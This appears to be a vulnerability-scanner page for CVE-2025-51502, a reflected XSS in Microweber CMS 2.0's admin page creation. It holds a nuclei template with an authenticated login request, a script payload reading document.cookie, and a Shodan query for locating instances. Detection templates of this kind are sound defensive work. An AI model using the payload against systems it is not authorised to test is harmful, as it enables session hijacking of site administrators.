Microweber CMS 2.0 - Reflected XSS in Admin Page Creation

mediumseverity

0.9%likelihood of exploitation, next 30 days

60%of all CVEs are less likely

Readycheck to confirm it

Reflected Cross-Site Scripting (XSS) exists in Microweber CMS 2.0 through the layout parameter on the /admin/page/create page. It allows arbitrary JavaScript to execute in the context of authenticated admin users.

Impact

Authenticated attackers can execute arbitrary JavaScript in victim browsers through the layout parameter in page creation, potentially enabling session hijacking and credential theft.

Fix

Upgrade Microweber CMS to a version later than 2.0 that properly sanitizes the layout parameter.

How to confirm it

Send: POST /api/user_login
Positive when: status_code == 200 and contains(content_type, "application/json") and contains_all(body, "success\":", "username\":")
Send: GET /admin/page/create?layout="{{xss_payload}}
Positive when: status_code == 200 and contains(content_type, "text/html") and contains(body, "><script>alert(document.cookie)</script>")

Run it with nuclei: nuclei -id CVE-2025-51502 -u <target>

The full check

id: CVE-2025-51502

info:
  name: Microweber CMS 2.0 - Reflected XSS in Admin Page Creation
  author: nukunga
  severity: medium
  description: |
    Reflected Cross-Site Scripting (XSS) exists in Microweber CMS 2.0 through the layout parameter on the /admin/page/create page. It allows arbitrary JavaScript to execute in the context of authenticated admin users.
  impact: |
    Authenticated attackers can execute arbitrary JavaScript in victim browsers through the layout parameter in page creation, potentially enabling session hijacking and credential theft.
  remediation: |
    Upgrade Microweber CMS to a version later than 2.0 that properly sanitizes the layout parameter.
  reference:
    - https://github.com/progprnv/CVE-Reports/blob/main/CVE-2025-51502
    - https://nvd.nist.gov/vuln/detail/CVE-2025-51502
  metadata:
    verified: true
    max-requests: 2
    vendor: microweber
    product: microweber
    shodan-query: 'http.title:"Microweber"'
  tags: cve,cve2025,microweber,xss,authenticated,vuln

variables:
  xss_payload: "><script>alert(document.cookie)</script>"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /api/user_login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8

        username={{username}}&password={{password}}&lang=en_US&where_to=admin_content

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "application/json")'
          - 'contains_all(body, "success\":", "username\":")'
        condition: and
        internal: true

  - raw:
      - |
        GET /admin/page/create?layout="{{xss_payload}} HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "><script>alert(document.cookie)</script>")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from